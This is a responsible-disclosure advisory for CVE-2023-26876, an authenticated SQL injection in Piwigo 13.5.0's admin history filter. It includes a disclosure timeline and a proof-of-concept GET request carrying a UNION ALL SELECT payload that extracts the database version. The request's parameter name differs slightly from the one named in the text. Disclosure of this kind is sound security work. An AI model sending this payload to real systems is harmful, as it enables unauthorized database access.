=====[ Tempest Security Intelligence - ADV-03/2023 ]========================== Piwigo - Version 13.5.0 Author: Rodolfo Tavares Tempest Security Intelligence - Recife, Pernambuco - Brazil =====[ Table of Contents]================================================== * Overview * Detailed description * Timeline of disclosure * Thanks & Acknowledgments * References =====[ Vulnerability Information]============================================= * Class: improper Neutralization of Special Elements used in an SQL Command ('SQL injection') [CWE-89] improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') * CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H * CVE-2023-26876 =====[ Overview]======================================================== * System affected : Piwigo - Version 13.5.0 * Software Version : Version 13.5.0 (other versions may also be affected). * Impact : Piwigo 13.5.0 is vulnerable to SQL injection via /filter_user_id parameter to the admin.php?page=history&filter_image_id=&filter_user_id endpoint. An attacker can exploit this by executing SQL injection code to retrieve sensitive (P1) information and performing unintended actions. =====[ Detailed description]================================================= An authenticated user could run SQLi commands in the application and retrieve sensitive information (P1) and database information. Using the endpoint http://localhost/admin.php?page=history&filter_image_id=&filter_user_id. To explore just execute the following request: GET /piwigo/admin.php?page=history&filter_image_id=v3cna&filder_user_id=1%20UNION%20ALL%20SELECT %20CONCAT(0x4141414141,IFNULL(CAST(VERSION()%20AS%20NCHAR),0x20),0x4141414141)--%20-- HTTP/1.1 Host: localhost Cookie: pwg_id=cookies Check the value contained in the *filter_image_id* variable at the request response. =====[ Timeline of disclosure]=============================================== 12/Fev/2023 - Responsible disclosure was initiated with the vendor. 17/Fev/2023 - Piwigo confirmed the issue; 08/Mar/2023 - CVE-2023-26876 was assigned and reserved. 09/Mar/2023 - The vendor fixed the vulnerability SQL Injection. =====[ Thanks & Acknowledgments]======================================== * fxo,ravs * Henrique Arcoverde < henrique.arcoverde () tempest.com.br > * Tempest Security Intelligence / Tempest's Pentest Team [3] =====[ References ]===================================================== [1][https://cwe.mitre.org/data/definitions/89.html] [2][https://github.com/Piwigo/Piwigo/issues/1876] [3][https://www.tempest.com.br|http://www.tempest.com.br/] [4][https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26876] =====[ EOF ]=========================================================== -- -- *Esta mensagem é para uso exclusivo de seu destinatário e pode conter informações privilegiadas e confidenciais. Todas as informações aqui contidas devem ser tratadas como confidenciais e não devem ser divulgadas a terceiros sem o prévio consentimento por escrito da Tempest. Se você não é o destinatário não deve distribuir, copiar ou arquivar a mensagem. Neste caso, por favor, notifique o remetente da mesma e destrua imediatamente a mensagem.* * * *This message is intended solely for the use of its addressee and may contain privileged or confidential information. All information contained herein shall be treated as confidential and shall not be disclosed to any third party without Tempest’s prior written approval. If you are not the addressee you should not distribute, copy or file this message. In this case, please notify the sender and destroy its contents immediately.** * * *